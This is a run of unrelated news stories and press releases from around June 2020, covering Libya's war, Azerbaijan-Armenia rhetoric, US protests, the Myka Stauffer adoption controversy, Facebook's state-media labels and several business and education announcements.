The president emphasized that the position of international organizations and many countries strengthen Azerbaijans position.

Aliyev said that Azerbaijan has economic and military superiority over Armenia and reminded that Azerbaijan has liberated a part of Aghdara, Fizuli and Jabrayil districts.

Furthermore, the president reminded Armenias bombing of Azerbaijani civilians in 2018, including those in Tartar. They bombed the city of Tartar, the villages of Tartar and Aghdam. What is this, not fascism?, he said.

Aliyev stressed that there can be no war against the civilian population, adding that: They were not strong enough for our army, they left their positions and fled, and what did they do? They used force against the civilian population.

Reminding that Armenia has cut off water to Tartar, Aliyev described this environmental terrorism.

Moreover, President Aliyev reminded the Nakhchivan operation held in 2018.

There, thousands of hectares of land also came under our control. We liberated the occupied territories. The Azerbaijani army has shown its strength. The source of our strength is the Azerbaijani people, he added.

Aliyev noted that the source of the Armenian army is foreign donations, withouth which the country has no future.

They have territorial claims against almost all neighbours - Azerbaijan and Turkey, openly and secretly to another neighbouring country," Aliyev said.
In El-Arish, the provincial capital of Egypts North Sinai, a group of women sew colourful Bedouin designs on masks to combat coronavirus, as an insurgency simmers in their restive region.

Egypts toll from the COVID-19 pandemic has reached over 28,600 cases, including more than 1,000 deaths, while North Sinai itself remains the bloody scene of a long-running Islamist insurgency.

I learnt how to embroider when I was a young girl watching my mother, homemaker Naglaa Mohammed, 36, told AFP on a landline from El-Arish, as mobile phone links are often disrupted.

A versatile embroiderer, she also beads garments and crafts rings and bracelets.

Now with the pandemic, she has been designing face masks showcasing her Bedouin heritage.

Bedouins are nomadic tribes who traditionally inhabit desert areas throughout the Arab world, from North Africa to Iraq. Many have now integrated into a more urban lifestyle.

Egypts Bedouin textile tradition of tatriz  weaving and beading rich geometric and abstract designs on garments, cushions and purses  has been passed down from generation to generation for centuries.

It has survived in the Sinai Peninsula, whose north has been plagued by years of militant activity and terror attacks spearheaded by a local affiliate of the Islamic State (IS) group.

Security forces have been locked in a battle to quell an insurgency in the Sinai that intensified since the ouster of Islamist president Mohamed Morsi in 2013.

In February 2018, authorities launched a nationwide operation against militants, focusing on North Sinai.

Around 970 suspected militants have since been killed in the region along with dozens of security personnel, according to official figures.

Local and international media are banned from entering heavily militarised North Sinai.

But for Amany Gharib, who founded the El-Fayrouz Association in El-Arish in 2010, the violence has not dissuaded her from keeping Bedouin heritage alive while at the same time empowering local women.

She now employs around 550 women like Mohammed  many of them casually or part-time  as part of a textiles workshop.

The masks are composed of two layers  one inner layer directly on the face which is disinfected, and the colourful, beaded one outside, Gharib explained to AFP.

All the women take the necessary precautions while working, including wearing gloves and masks while using sewing machines.

The finished products are washed, packed and shipped off to distribution centres in Cairo, where they are sold online in partnership with Jumia  Africas e-commerce giant  for about 40 pounds ($2.50) each.

The beading process takes about two days for each mask, Gharib said.

Amid the volatile security situation, Mohammed has been able to eke out a meagre living with her embroidery skills.

We work and are given our dues depending on the orders we get... with the masks it has been a new challenge we've tackled, she said.

Dire economic conditions in Egypt have been even tougher for women of the Sinai since the pandemic began.

Times are really tough for the women but we have adjusted, Gharib said.

And while militant attacks on security checkpoints have continued, Gharib expressed confidence in the army.

We feel a sense of security and stability with the military presence. We trust them, she said.

The region witnessed the deadliest terror attack in Egypts modern history when militants killed more than 300 worshippers in a mosque in November 2017.

Gharib said that in North Sinais tight-knit community, each family knew someone who had been killed in an attack.

Anyone of us who is killed, we consider them a martyr, she said.

We are in a war with terror... but the people have learnt to live with it.

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Children play with bubble toys in a commercial street near the Zhengding ancient town in Zhengding County of Shijiazhuang, north China's Hebei Province, June 3, 2020. The Zhengding ancient town will gradually reopen its tourist attractions as the impact of COVID-19 ebbs away. Meanwhile, business activities under proper regulation are also encouraged as part of a government plan to revive the night-time economy. (Photo by Zhang Xiaofeng/Xinhua)

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[ Editor: ZY ]
Police Chief Jeff Bliemeister said 24 officers were injured in the week's protests, ranging from one who is going to need reconstructive surgery, to those with bruises and cuts.

"We know that there were shots that have been fired at the Hall of Justice," he said.

Bliemeister said Friday they don't yet know exactly when or how.

"But when our cops are standing out there on the line trying to do their job ... we know that rounds are going over the top," the police chief said.

He said from Friday night through Monday, they saw bricks, rocks and bottles filled with gasoline lobbed at cops, followed up with fireworks by people who were "obviously not individuals intent on rallying, but individuals that are criminals."

Bliemeister said they are working diligently to continue to build relationships with every part of Lincoln.

"We know we can improve that, and we're going to improve that," he said.

But, Bliemeister said, they're also tasked with preventing violence and property damage, such as that seen last Saturday at 25th and O streets and early Sunday along Lincoln Mall.
The city was the main launchpad for an offensive against the capital that Haftars forces finally abandoned this week.

Forces loyal to Libyas internationally recognised government said on Friday they entered Tarhuna, the last major stronghold of renegade military commander Khalifa Haftar in the west, capping the sudden collapse of his 14-month offensive on the capital.

Haftars self-style Libyan National Army (LNA) was pushed from its last positions in Tripoli a day earlier, the latest of in a series of battlefield defeats.

Al Jazeeras Mahmoud Abdelwahed  reporting from Tarhuna, 75km (47 miles) east of Tripoli  said the citys loss was a major blow to the LNA as Tarhuna was the main launchpad for the offensive against the capital.

From here, Haftars forces had a central command for the past year, and from here Russian military experts  with UAE and Egyptian military experts  have been running the battles, he said as militiamen fired assault weapons in celebration.

Government forces now may target the Haftar-controlled city of Bani Walid to the south, said Abdelwahed.

Turkeys backing has helped the internationally recognised Government of National Accord (GNA) win a string of victories in recent weeks, ending the assault on Tripoli that led to battles in its southern suburbs and the bombardment of the city centre.

The GNA operations room said its forces had reached the centre of Tarhuna after entering from four sides.

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Our heroic forces entered the city of Tarhuna from four axes and reached the city centre  and they gave the Haftar terrorist militia a lesson they will not forget, said Mohammed Gnounou, a GNA military spokesman, in a statement.

Mostafa al-Majai, another GNA military spokesman, said government forces entered Tarhuna without a fight after the LNA pulled out of the city into the desert.

No reprisal acts have taken place inside the city. A large number of residents left it days ago. This has made it easy to establish security there, he said.

 No reprisal acts

Libyas conflict is far from over, however, with the LNA still controlling the countrys east, where there is a parallel administration, and large parts of the south, where the main oilfields are located.

The LNA is backed by Russia, the United Arab Emirates (UAE), and Egypt. The United Nations has warned a recent flood of weapons and fighters to both sides in Libya risks a major new escalation.

GNA Prime Minister Fayez al-Sarraj vowed his government would take control over all of Libya.

Our fight continues and we are determined to defeat the enemy, impose state control on the whole of the homeland and destroy all those who jeopardise the construction of a civil, democratic and modern state, al-Sarraj said after talks with Turkish officials in Ankara.

Humanitarian gesture

Sami Hamdi, The International Interests editor-in-chief, told Al Jazeera the Tarhunas fall may have been a negotiated exchange between the Russians and the Turks.

In terms of its significance, it means the complete end of Haftars Tripoli offensive. The military solution that Haftar offered  is no longer on the table, and we are back to the status quo as it was before the beginning of the Tripoli offensive, east and west, Hamdi said.

Meanwhile, Haftars forces confirmed their redeployment away from the capital following the UN-recognised governments announcement on Thursday it was back in full control of the Greater Tripoli areas.





Haftars spokesman, Ahmad al-Mesmari, said the redeployment was a humanitarian gesture intended to spare the Libyan people further bloodshed.

Hundreds of people have been killed and 200,000 more driven from their homes since Haftar launched his assault, pledging to cleanse the capital of the terrorist militias he said dominated the GNA.

Al-Mesmari said the redeployment was also intended to bolster the work of a UN-backed military commission tasked with shoring up a nationwide ceasefire.

We announce that we are redeploying our forces outside Tripoli on condition that the other side respect the ceasefire, he said in a statement released late on Thursday.

If they do not respect it, we will resume military operations and suspend our participation in the negotiations of the military committee.

Claudia Gazzini, a senior analyst with the International Crisis Group, said it was uncertain what Haftars next move will be but that it was unlikely for his foreign supporters to back a new offensive on Tripoli if the GNA stops at Tarhuna.

Weve registered over the past months increasing dissatisfaction from Haftars foreign backers about the conduct of the war and his own personal conduct. Egyptian and Emirati officials have been voicing this in private, Gazzini told Al Jazeera.

What theyre trying to do is avoid a counteroffensive if possible But that also depends on what the GNA does, meaning if they stop their military offensive at Tarhuna and do not venture further east, then we could see a freezing of the conflict and ceasefire talks.

But if GNA forces and politicians call for a continued offensive toward Sirte, Jufra or even further east toward the oil terminals then at that point I think that Haftars foreign backers might recalculate again and go for a new counteroffensive.

The UNs Libya mission said on Tuesday that after a three-month suspension, the warring parties had agreed to resume ceasefire talks.

A military commission made up of five GNA loyalists and five Haftar delegates held talks in February, but the dialogue was suspended.

UN experts in April said hundreds of mercenaries from Russian paramilitary organisation the Wagner Group were fighting for Haftar.
By Ayman al-Sahili

TRIPOLI (Reuters) - Libya's internationally recognised government regained control of Tripoli on Thursday, driving eastern forces out of the capital after a 14-month battle in which foreign powers poured in arms and fighters.

In the recaptured southern suburbs, bodies still lay on the ground and fighters brandished weapons abandoned by the eastern forces, a Reuters visual journalist said.

In the city centre, civilians were glad the fighting was over. "It's an incredible feeling. People can now return home and there is no more shelling," said a 37-year-old man from the Ain Zara district, one of the areas taken, who asked not to use his name.

A military source with the eastern forces said they were pulling back from all of Tripoli's suburbs. Government forces said they now held everything within the city boundary.

It represents a stinging reversal for eastern commander Khalifa Haftar and his Libyan National Army (LNA), which launched an offensive on Tripoli last year pledging to unite Libya after years of chaos.

Continued Russian, Egyptian and United Arab Emirates support for the LNA means the Government of National Accord (GNA), which is recognised by the United Nations and backed by Turkey, has little hope of carrying the war into eastern Libya for now.

But, with eastern forces withdrawing towards their northwestern stronghold of Tarhouna, the lines are being drawn for battles to come although both sides have agreed to resume U.N.-brokered ceasefire talks.

The arrival of heavier weapons, which the United States says include a fleet of Russian warplanes, means fighting could become far deadlier.

The U.S. ambassador to Libya, Richard Norland, said in a call with journalists on Thursday the situation had escalated dangerously, but added that Haftar's defeat in Tripoli created an opportunity to stop fighting.

"Participants have a choice to watch it escalate into a full-blown regional war or to finally de-escalate," he said.

Story continues

The main outside powers engaged in the conflict have welcomed the decision to resume ceasefire talks and publicly say they support a political resolution, but it is unclear if they could agree on a settlement.

It leaves Libya still partitioned between rival administrations in Tripoli and Benghazi in the east.

After GNA Prime Minister Fayez al-Serraj met Tayyip Erdogan on Thursday, the Turkish president said Ankara would increase its support to Tripoli.

A senior Turkish official said the GNA advances were critical before any potential peace talks.

"Everyone wants to sit at the table without losing territory, but the territory you hold strengthens your positions at the table," the official said.

Norland said the U.N. had already restarted the process of talks and was engaging each side separately at first.

INTENSE BOMBARDMENT

Both sides in Libya are made up of unstable coalitions of sometimes rival factions. It is unclear how the failure of the Tripoli offensive could affect the position of Haftar, who went to Cairo on Wednesday for meetings with Egypt's deputy defence minister.

Analysts say there are few other candidates capable of holding together the different forces in the LNA and a statement by Foreign Minister Sameh Shoukry in Cairo reflected Egypt's established position of blaming Turkey for the bloodshed.

The LNA's sudden reversals follow Turkey's direct intervention with drones that have targeted LNA supply lines and defences that neutralised much eastern air power.

Fighting in the southern suburbs has for months involved intense bombardment of civilian areas held by the GNA, including rocket attacks on hospitals.

A GNA military spokesman said the recent advances meant Tripoli would now be out of range of LNA shelling.

But as the GNA moved southwards through the city over the past week, it said its fighters encountered many explosive booby traps hidden in houses. Civilians in LNA-held Tarhouna now face the prospect of coming under more intense bombardment.

(Reporting by Reuters Libya Newsroom, Ayman al-Sahili in Tripoli and Orhan Coskun and Tuvan Gumrukcu in Ankara; additional reporting by Mahmoud Mourad in Cairo; writing by Angus McDowall in Tunis; editing by Timothy Heritage and Alexandra Hudson)
While people have been stuck indoors for months during lockdown, many have been missing their trips to the hairdresser and beauty parlour.

Some have been so desperate to achieve their perfect look during quarantine that they have had a go themselves.

Collated by Shareably social media users from around the world have shared their failed attempts at getting the perfect lockdown look.

The pictures include one woman who burned her top lip while trying to wax at home, several men left with very patchy haircuts and women who realised that an acrylic manicure is best left to the professionals.

Here, FEMAIL reveals the hilarious examples of people who should have waited for professionals before undergoing their treatment.

Should have waited for the barber! Zach from the US tried to shave his own head and ended up with some awkward bald patches

The only positive thing that can be said about these acrylics is that at least the wearer didn't try to remove them herself

Missed a spot! Max, from the UK, shared a picture of his lockdown haircut which didn't go exactly to plan

Should've worn gloves! Chloe, from the UK, shared a photo of her hand turning entirely purple after a dye job gone wrong

An unnamed woman's long hair was left lopsided after deciding to tackle a DIY haircut at home

Ouch! Meanwhile, Lu Lu, from New York, shared a picture of her burned lip after she tried to wax at home

What have you done, Dad? Ken from the UK left his son with a rather striking fringe after trying his hand at a haircut

Should have got some tips! One user, from the US, shared a picture of her broken and half painted nails

Lockdown locks! Gala, from Spain, posted a snap of her wonky lockdown haircut after chopping her tresses herself

Not nailing it! Diana, from the US, shared a picture of her overgrown white acrylic manicure during lockdown

Rough patch! Scott, from New York, shared a picture of the haircut his family gave him which didn't go exactly plan

Just a bit off the back! Daniel from Durham, revealed that whoever was cutting his hair was a bit too keen with the clippers
Atlas Venture, a Cambridge, Mass.-based early stage venture capital firm investing in biotech innovation, closed its twelfth fund, at $400m.

Atlas Venture will continue to focus on building biotech companies to deliver high-impact therapies to patients. Partnering with experienced entrepreneurs-in-residence, the firm creates new startups focused on innovation, sourced from global institutions and the teams entrepreneurial networks.

Its in-house incubation space in Kendall Square enables Atlas team to be hands-on collaborators with companies from inception through the goal of creating new medicines.

With the closing of Fund XII, Michael Gladstone was promoted to partner. Gladstone joined Atlas in 2012 and has been a key contributor to many portfolio companies over the last eight years, including Akero, AVROBIO, Delinia, IFM, and others.

Alongside Gladstone, the six investing partners in Fund XII also include Jason Rhodes, Bruce Booth, Kevin Bitterman, Jean-Francois Formela, and David Grayzel.

FinSMEs

05/06/2020
Students can download their admit cards directly via mponline.gov.in portal or via the MP Online Mobile App.

The Madhya Pradesh Board of Secondary Education (MPBSE) on Friday released the admit cards for the remaining Class 12 board exams.

Students can download their admit cards directly via mponline.gov.in portal or via the MP Online Mobile App.

The examinations will be conducted from 9 to 16 June.

For the safety of candidates and staff, the board has also issued health guidelines.

Everyone at the examination centres have been asked to wear face masks and maintain social distancing.

They have also been asked to undergo thermal scanning before entering the examination hall.

A report by Jagran Josh mentioned that as per the guidance of Madhya Pradesh government, the board had decided to cancel all the pending papers of Class 10.
YouTube star Myka Stauffer's subscriber count has plummeted in days following her controversial announcement that she has 'rehomed' her five-year-old adopted son Huxley.

The 33-year-old mother sparked outrage when she revealed in a video posted to her YouTube channel last month that she and her husband James had placed their autistic son, who is from China, with a new family.

Since then, the Ohio-based influencer has found herself at the center of a bitter backlash that has seen her lose a number of endorsement deals, brand partnerships - and now, followers.

Consequences? YouTuber Myka Stauffer has lost more than 15,750 subscribers, after sparking fury by revealing she has 'rehomed' her adopted five-year-old autistic son Huxley (pictured)

Going down: The 33-year-old now has just over 700,000 subscribers on YouTube, where she posted a video last month revealing that she and husband James had given up Huxley

Upset: As of Tuesday, it appeared that Myka had scrubbed all images of Huxley (left) from her Instagram account, leaving only pictures of her four biological children

YouTube analytics show that Myka's subscriber count has dropped by a staggering 15,750, bringing her total number to just over 700,000.

Myka does seem to be receiving more positive feedback on Instagram however, where her follower count has gone up by at least a few hundred people in recent days - despite the fact that she appears to have scrubbed all images of Huxley from the account, which now boasts 205,000 followers.

The news about Myka's dropping subscriber count comes just after it was revealed that authorities in Ohio launched an investigation into the whereabouts of Huxley, after receiving 'several inquiries regarding the welfare' of the little boy, who turned five on June 1.

Tracy Whited, a spokesperson for the Delaware County Sheriffs Office, released a statement on Wednesday, saying the agency confirmed the special-needs youngster, whom the Stauffers adopted from China in October 2017, had been given up for adoption again - while revealing that the Stauffer family was the subject of an investigation.

Whited added that the authorities will be looking into the welfare of Myka and James' four biological children as part of their investigation.

'This child is not missing,' she stated. 'Our primary concern is for the well-being of this child, as well as the other children in the household. Our investigation is ongoing, and will include contact with all children to ensure their safety.'

The representative of the sheriff's office said in the statement that investigators are 'confident' that the Stauffers and Huxley's new family are following the 'appropriate process' to finalize the adoption, including home studies, background checks and 'specific requirements and safeguards.'

Whited added: 'In addition, both parties are being represented by attorneys to ensure full compliance with the court process.'

Myka and James shared a tearful video last month, revealing that they had 'rehomed' Huxley because he has needs that they were not equipped to meet.

Controversy: It was revealed this week that authorities in Ohio were investigating the Stauffers after receiving 'several inquiries regarding the welfare' of Huxley, who was born in China

Update: The Delaware County Sheriff's Office on Wednesday released this statement addressing its investigation into the Stauffer family

The mother-of-four has previously stated that the toddler has autism and brain trauma, and required a lot of specialized care.

She added that an adoption agency had helped place Huxley with his 'forever family'.

'He's thriving, he's doing really well, and his new mommy has medical, professional training,' she added.

The parents did not elaborate on where Huxley had gone, nor did they explain the process by which the child was matched with, and handed over to his new family.

However in a since-deleted comment posted under the clip, Myka went on to claim that 'multiple scary things happened inside the home towards our other children', suggesting that this was one of the key reasons behind their decision to give up Huxley.

'We would never just give up a child with special needs, this is a personal matter to Hux it had nothing to do with he just had Autism,' she wrote.

'Multiple scary things happened inside the home towards our other children, and if these events happened with one of my biological kids, after all the help and after the behaviors we witnessed sadly we would have no other choice then to seek help and get their needs met.'

Myka and James have four other children: Kova, eight, Jaka, six, Radley, four, and Onyx, 11 months.

The mom went on to insist that rehoming Huxley was what was best for him and something he wanted.

'Huxley wanted this descion [sic] 100% we saw that in family time with other poeple [sic], he constantly chose them and signed with and showed tons of emotion to show us and let us know he wanted this,' she explained. 'Huxley never had a say in his adoption, and he needed more help and also wanted this and we know that 100%.'

Response: After coming under fire for her announcement, Myka allegedly responded in the comments. The message appears to have been deleted but is now circulating online

End of the road: Several brands have dropped Myka as a partner, including Kate Hudson's fitness brand Fabletics

The couple's lawyers, Thomas Taneff and Taylor Sayers, told People that Myka and James 'are very caring parents that would do anything for their children,' but 'this was the best decision for Huxley.'

They explained that the couple had consulted multiple healthcare and education professionals since his adoption and were advised 'it might be best for Huxley to be placed with another family.'

Myka and James' bombshell admission sparked furious backlash online and has already cost Myka her partnership with Kate Hudson's sportswear company Fabletics and other lifestyle brands.

Many questions remain unanswered at this time, including: where is Huxley? Who helped the Stauffers transfer him to the new family? Have the new parents been vetted by anyone?

When the Stauffers brought Huxley home from China in October 2017, Myka documented his international adoption on her YouTube channel, which now has more than 700,000 subscribers.

Myka also wrote about Huxley's adoption and his special needs. In a piece she had penned for Parade in September, she said that they were surprised when they came home with their adopted son and realized his file was 'inaccurate.'

'Our son ended up having a stroke in utero, has level 3 autism, and sensory processing disorder,' she wrote. 'It took a lot of time to process and to readjust to his new diagnosis.'

She shared that Huxley receives '30 hours of ABA [Applied Behavior Analysis] in-home therapy a week and goes to private preschool' to help with his needs.

'He is a great kid and his condition doesnt involve that much overall careall you need is a big heart and practice patience every day,' she said.
TOTOWA, N.J., June 5, 2020 /PRNewswire/ -- The Senior Company views its caregivers as critical for providing world-class care to seniors. For this reason, the company continues to invest in its employees with flexible schedules, higher pay than industry standards and stringent safety measures.

The Senior Company pays home health aides 30 to 35 percent above industry standards and offers attractive benefits packages that include the following:

Health insurance coverage

Paid time off

Flexible scheduling

Unlimited overtime pay

Pension plans

State of New Jersey sick leave and FMLA

sick leave and FMLA Annual license renewal reimbursement

Time-and-a-half pay on holidays and birthdays

Tuition assistance

Awards and bonuses

This month, the Senior Company expanded its benefits packages further to cover the cost of physicals for new employees. With the health and safety of seniors always top-of-mind, the company views the investment in caregivers as absolutely necessary and worthwhile. The company has witnessed the positive results of treating home health aides well. Caregivers are motivated to treat seniors with respect, compassion and kindness and keep devoted vigil over their well-being.

The Senior Company also does everything in its power to keep home health aides safe and healthy, protecting seniors in turn. The company mandated proactive measures that include screening all caregivers before they enter patients' homes. Additionally, if a live-in home health aide takes time off, they are required to get screened before they return to their charge's home.

Fully committed to the well-being of seniors, the company gives personal protective equipment (PPE) to patients and their families. Some other home care companies require families to obtain PPE themselves. Families receive digital thermometers, germicidal wipes, hand sanitizer and more, as well.

"Caregivers truly are the greatest asset we have. For this reason, we are happy to invest in their health with safety precautions and in their future with a rewarding benefits package and competitive pay. The Senior Company will continue to take measures that ensure the seniors entrusted to our care are healthy, safe and happy," said Steve Romano, CEO at The Senior Company.

Home health aides who are interested in working for The Senior Company are encouraged to apply via the company's Careers page.

Review Open Positions At The Senior Company

About The Senior Company

The Senior Company is a trusted New Jersey home health care agency that provides 24/7 home care services for the elderly. As a full-service New Jersey Home Health Care Agency, The Senior Company specializes in providing support for seniors who may need full-time home care assistance, live-in home care assistance or part-time home care assistance at home or in a facility after transitioning from the Hospital or Skilled Nursing Facility in their local area.

The Senior Company is a Dual Licensed, Dual Accredited, Bonded & Insured Certified Home Health Care & Certified Help Firm practicing in the North New Jersey area. The Senior Company provides Personal Care as well as Skilled Nursing Care services that are available to help seniors and families who are in need of assistance with activities of daily living. Some of these "ADLs" include bathing, toileting, dressing, light housekeeping, meal preparation, errands, hospice care and other personalized hourly or live-in home care services.

The Senior Company is accredited by the Commission on Accreditation for Home Care for meeting the industry's highest recognized standards of care in The State of New Jersey.

Contact:

The Senior Company

Totowa: 973-355-6336

Hackensack: 201-355-5209

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Eddie James tells Christians to quit just complaining about riots; unite, take Gospel to the streets

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Popular worship leader Eddie James who only months ago joined a diverse coalition of Christian leaders in offering up prayers for President Donald Trump at the White House, is now calling for a similar show of unity among black and white Christian leaders to reflect the unity among secular groups protesting the death of George Floyd.

The blacks and the whites are coming together in riots and its starting to make me so frustrated because Im saying, how is it that blacks and whites and other people can come together and riot, and everybody is talking about how bad the riots are, but Ive yet to see black pastors and white pastors and Hispanic pastors hit the streets immediately worshiping. And more than that, preaching the Gospel to say, Jesus is the answer, James said in a recent rant on Instagram.

Why can the world come together so quickly and then we complain about the destruction? And Im in no way thinking what theyre doing is right. Im not endorsing burning buildings and all of that. But why is it that the world can come together and do what theyre doing and the church people complain about it, but the church is not doing its part? he asked.

We need black and white leadership to get in the streets. And again, the Gospel is the answer, the Gospel  not being Democrat, not being Republican. Its the Gospel of Jesus Christ, James insisted. The only thing that can change the hearts of any people is the Gospel of Jesus Christ. Thats why we need what He did on the cross. Thats why we need the blood. We need people to boldly get in the streets and preach the Gospel.

Last December, James came under heavy criticism after joining several artists including Kari Jobe and her husband, Cody Carnes, at the White House to worship and pray with the president. James was criticized, along with other black Christian leaders who attended the event, by people such as TV host and pop culture commentator Jawn Murray, who implied in a post on Facebook that black leaders who posed for a photo with the president were poster children for self-hatred.

In his recent appeal to the Christian community, James said large Christian ministries that have the ability to organize events that attract thousands have failed in responding to the unrest unfolding in the nations streets.

All of these mega ministries. All of these big TV evangelist ministries. All of these ministries of worship that can summon thousands of people to a stadium, why cant we summon right now thousands of people to the streets of our nation and say we wanna release Jesus, love and unity? We need to do that. And I believe that would be the answer to all the rioting, all of the different stuff thats going on, James said.

If all we do is get up and talk about how bad it is and get mad at bad tweets from the president, and get mad at them sending military people [National Guard]  thats not gonna change anything. Its gonna stoke the fires of anger, its gonna stoke the fire of being mad.  But what can wash away our sins? Nothing but the blood of Jesus. What can make us whole again? Nothing but the blood of Jesus, the worship leader said.

We need the blood. We need the cross. We need to do something besides tweeting and social media and let the government try to do something to fix the riots. What we need is a Holy Ghost revival and it doesnt need to happen among the four walls of the church. We need people in the streets, James added.

Since the death of Floyd, a 46-year-old black man in the custody of Minneapolis police officers on Memorial Day, protests have erupted nationwide and other countries.

A video of the encounter between Floyd and the officers shows former officer Derek Chauvin, 43, kneeling on Floyds neck as other officers held on to his back and feet while he was handcuffed.

Floyd had reportedly refused to get into the squad car, "stiffened up, fell to the ground, and told the officers he was claustrophobic."

As Chauvin continued to press his knee into Floyd's neck, Officer Thomas Lane asked whether they should roll Floyd on his side after he said he was struggling to breathe. The final time Lane asked that question Floyd was already unresponsive.

Chauvin was charged with second-degree murder on Wednesday while former officers J. Alexander Kueng, 26, Lane, 37, and Tou Thao, 34, were charged with aiding and abetting second-degree murder and second-degree manslaughter for their role in Floyds death.

Hennepin County Medical Examiner's office ruled George Floyd's manner of death was a homicide and stated that he suffered "a cardiopulmonary arrest while being restrained by law enforcement officer(s)." The medical examiner's office listed "arteriosclerotic and hypertensive heart disease," "fentanyl intoxication" and "recent methamphetamine use" as "other significant conditions."

At a memorial service in Minneapolis, Minnesota, Thursday, Al Sharpton said he is working with major civil rights organizations and faith leaders to protest in Washington, D.C., on Aug. 28. The day marks the anniversary of Martin Luther King Jr.s March on Washington in 1963.

Over 200,000 demonstrators participated in the March on Washington for jobs and freedom in the nations capital. The march pressured the Kennedy administration to initiate another federal civil rights bill in Congress that would become the landmark Civil Rights Act of 1964. The March on Washington is where King delivered his famous I Have a Dream speech.

James, in his appeal earlier this week, called on white Christians and ministry leaders specifically to not feel like they have to understand the black American experience to show that they care about racial inequality to get involved.

You dont have to understand what it means to be black to love. You dont have to understand what it means to be black and what it means to live in this nation in this condition for you to show that you are concerned, he said.

Theres a lot of white people who are looting or who are burning things, who are going off and they dont understand what it means to be black but they care. They may show it the worldly way, they may show it in a wrong way, but what theyre trying to say is theyre tired of this happening. Were tired of this continuing to go on, he continued.

They are at least trying to show that they care. You dont have to try to know what its like to be me for you to love me. For you to care for me, for you to figure out what can I do to touch my people who are part of this nation who may not be the same skin tone that I am. We need you to get out there and do something.

He further noted, If we march in the heart of Martin Luther King Jr. and we pray and preach the Gospel, Gods Word says He will hear us. He will forgive us and he will heal our land.
Tom Cotton

In the understatement of the year, the New York Times says the "Send in the Military" op-ed by Republican Senator Tom Cotton did not meet its editorial standards and was published due to a "rushed editorial process."

Echoing Donald Trump's call to "dominate" the protests that have rocked the US in the aftermath of the killing of George Floyd, Cotton called for an "overwhelming show of force to disperse, detain and ultimately deter lawbreakers."

New York Times publisher AG Sulzberger should be applauded for believing in the "principle of openness to a range of opinions, even those we may disagree with."

That openness though should not apply to publishing opinion articles brimming with misinformation and innuendo.

Cotton accused unnamed elites for creating a revolting moral equivalence of rioters and looters to peaceful, law-abiding protesters. Please Senator, tell us who is speaking in defense of "rioters and looters?"

And then he trotted out the tried and true conservative talking point of "antifa infiltrating protest marches to exploit Floyd for their own anarchic purposes."

The Times' opinion department operates separately from the news division but it shouldn't operate in its own world.

The opinion staff should have been aware that on June 1 their own paper reported that "conservative commentators are asserting with little evidence that antifa, the far-left antifascism activist movement, coordinated the riots and looting that sprang from the protests."

James Bennet, editor of the NYT's editorial page, on June 4 defended the decision to go with Cotton's op-ed.

He wrote:

"We published Cottons argument in part because weve committed to Times readers to provide a debate on important questions like this. It would undermine the integrity and independence of The New York Times if we only published views that editors like me agreed with, and it would betray what I think of as our fundamental purpose  not to tell you what to think, but to help you think for yourself."

That's a very noble and high-minded sentiment. There is one little problem. Bennet hadn't read Cotton's piece before it was published.

One would think that in our explosive times, in which 10K protesting Americans have been arrested for exercising their First Amendment rights, Bennet could have found the time to fact-check Cotton.

The Times' self-inflicted wound provides much grist for Donald Trump and his allies who are desperate for distractions from his mishandling of the COVID-19 pandemic and the outrage in the aftermath of the latest killing of a black person by the police.

The Times' editorial process is more than just "rushed." It appears to be broken.
(Photo : William Iven on Unsplash) Facebook Will Start Labeling State-Controlled Media Posts: Labels Applied Globally in Your News Feed (Photo : Pixabay) Facebook Will Start Labeling State-Controlled Media Posts: Labels Applied Globally in Your News Feed

Facebook will start labeling posts by state-controlled media for better transparency ahead of the 2020 US election. According to CNET's latest report, to make it clear where people are acquiring their news, Facebook stated that it will begin labeling links that come from state-controlled media companies.





The social media company said on Thursday, June 5, that the move was decided because these news sources are using the strategic backing of the state, combining it with the influence of media organization. Facebook will also include paid ads from media companies, which will be labeled this summer ahead of the 2020 US presidential elections in November.





Facebook users will see labels in their news feed since it will be applied globally this week. The social media company consulted with more than 65 governance, human rights, and media experts to decide which media outlets are getting labeled.

Facebook will start labeling state-controlled media posts: Labels applied globally in your newsfeed

Facebook will look at each media company's mission statement to decide which outlet should be labeled. This will include editorial guidelines, ownership structures, funding and revenue sources, newsroom leaders and staff, accountability systems, and also national laws protecting journalistic independence.

"Our definition of state-controlled media extends beyond just assessing financial control or ownership and includes an assessment of editorial control exerted by a government," said Facebook. "If we determine that there are enough protections in place to ensure editorial independence, we will not apply the label."

Location information to posts by high-reach Instagram accounts and Facebook pages were also added by the company in April. Accounts and pages were based outside the states that have big audiences inside the U.S. were targeted by Facebook and Instagram to test the feature inside the country.

A message like "This account and many of its followers are based in different locations" or "Account-based in Brazil" will appear when the user swipes up on a page or post. Last week, the social media company came under fire for putting warning labels on posts by U.S. President Donald Trump or for refusing to fact check his posts.

The innovation followed the decision of Twitter to apply a fact-check label that flagged potentially misleading information to a Twitter post by Trump stating that mail-in ballots, which will be used for the November elections, would be substantially fraudulent.

A tweet by the president about the protest in Minnesota sparked by the death of George Floyd, was also labeled by Twitter last week. Trump's tweet was tagged with a warning label that said the post violates Twitter's rules about glorifying violence.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Chandigarh (Punjab) [India], June 5 (ANI/BusinessWire India): is the only University from India to have made it to the top 8 finalists for the category - 'Technological Innovation of the Year' for the prestigious Times Higher Education Asia Awards 2020.

Touted as the "Oscars in Higher Education", in which 150 globally renowned institutions across 30 Asian territories participated, proudly announced achieving this milestone, third in line this year, among the league of top recognitions and rankings it has bagged thus far.

"Once again we were delighted that so many universities, from an impressive number of countries and territories, submitted their best and most inspirational stories to us for this year's THE Awards Asia. We have now whittled down 250 excellent entries to a final 80. We have already excluded many brilliant entries to reach this stage," said THE's Chief Knowledge Officer, Phil Baty, while announcing the shortlisted Universities in ten categories.

With this, joins the league of most coveted universities across the Asian continent.

"This shortlisting is the recognition of the flourishing research and innovation eco system of the University on a global platform. We are proud of the Augmented Virtual Reality Lab of the University - a pioneer in the region to make the otherwise unaffordable AVR technology highly cost effective and readily available to the masses," said the Pro-Chancellor, Dr Madhu Chitkara, while reiterating the commitment of the university to contribute towards the IP worth of the nation.

The director of the state-of-art, one-of-its kind lab in the region and the project head Dr Archana Mantri, Vice Chancellor of the University named the initiative as "AVR Innovations: From Dusk to Dawn".

The lab offers multi potential AVR and game-based solutions in the areas of military training, K-12, engineering education and neurological studies. The lab has launched many commercial solutions and using them to economize the technology for increased use in education and training.

